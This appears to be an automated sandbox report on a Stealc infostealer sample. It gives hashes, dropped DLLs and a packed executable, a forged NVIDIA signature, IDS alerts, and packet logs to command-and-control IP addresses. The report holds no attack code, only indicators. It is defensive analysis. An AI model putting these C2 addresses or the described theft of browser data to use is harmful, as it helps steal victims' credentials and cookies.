SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\ProgramData\HJJDGHCBGD.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.718045636279409
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	274'984 bytes
MD5:	a2d6bc4c76921e184d0a81e79c40ede1
SHA1:	befa619180442f1a3b968f232d68a18d6ad58251
SHA256:	9c4dca830487bda060624059ffc910041ce76975a00750092fcfbb0ba99512ce
SHA512:	398cb34178d5f9b31e3cbddf9ec6946a923f326b86afb7d177eb6c223507d77501a73e12532afe30abb63227ea76a08a821e4362b98451bcb7c7066894e66e30
SSDEEP:	6144:Nm9eZof7jnUYN9mzfYJxM03MKJmuK9zrSaANpJe+PCnEO:Nm9IK77B9mz7KJhK9fSjJdPYEO
TLSH:	1944E14A36988362C56405B9D4F3986513F6B6C73B73DA963A888DDA0F027C8CD49F8D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................!... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4421ee
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66D1E1FE [Fri Aug 30 15:15:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x421a0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x44000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x40c00	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x46000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x42163	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x401f4	0x40200	459ae82daed34194c71b3c8c2f1935da	False	0.8824013157894737	data	7.733812863753211	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x44000	0x5d4	0x600	1c8a63614a3e78f35e8b70c5a1d4dc9c	False	0.4407552083333333	data	4.157153148535371	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x46000	0xc	0x200	d2e67d4743d6c5366e89eb5c400b5624	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x440a0	0x348	data			0.4488095238095238
RT_MANIFEST	0x443e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-30T18:12:58.104900+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:12:57.923923+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:12:57.929886+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49733	193.176.190.41	192.168.2.4
2024-08-30T18:12:58.130148+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49733	193.176.190.41	192.168.2.4
2024-08-30T18:13:01.497251+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:12:58.745226+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:13:03.553545+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:13:02.442125+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:12:57.743475+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:13:05.924852+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:13:09.204698+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49734	443	192.168.2.4	186.64.114.115
2024-08-30T18:13:09.204698+0200	TCP	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	49734	443	192.168.2.4	186.64.114.115
2024-08-30T18:13:06.863555+0200	TCP	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:13:05.464727+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:12:58.920378+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41
2024-08-30T18:13:03.018751+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49733	80	192.168.2.4	193.176.190.41

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 18:12:56.922723055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:56.927665949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:56.927808046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:56.927988052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:56.933011055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.535857916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.537148952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:57.539459944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:57.544514894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.743290901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.743474960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:57.745564938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:57.750471115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.923635006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.923851013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:57.923923016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:57.925095081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:57.929886103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.104834080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.104862928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.104876041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.104899883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.104927063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.104931116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.104942083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.104970932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.104994059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.105232954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.105246067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.105278969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.105308056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.125339031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.130147934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.302575111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.302727938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.514923096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.514965057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.521308899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.521322012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.521331072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.521341085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.521348953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.521358013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.521365881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.745147943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.745225906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.745819092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.751048088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920182943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920207024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920216084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920294046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920377970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.920377970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.920414925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920465946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.920473099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920492887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920511007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.920525074 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.920838118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920880079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.920916080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920928001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.920970917 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.921278000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.921320915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.921365023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.921376944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.921406984 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.921422958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.921504021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.921515942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:58.921542883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:58.921559095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003086090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003104925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003117085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003123045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003129005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003392935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003401041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003436089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003443003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003495932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003585100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003622055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003632069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003662109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003810883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003820896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.003858089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.003890038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.006870985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.006937027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.006946087 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.006951094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.006980896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.006999969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.007075071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007123947 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.007147074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007158995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007188082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.007205963 CEST	49733	80	192.168.2.4	193.176.190.41
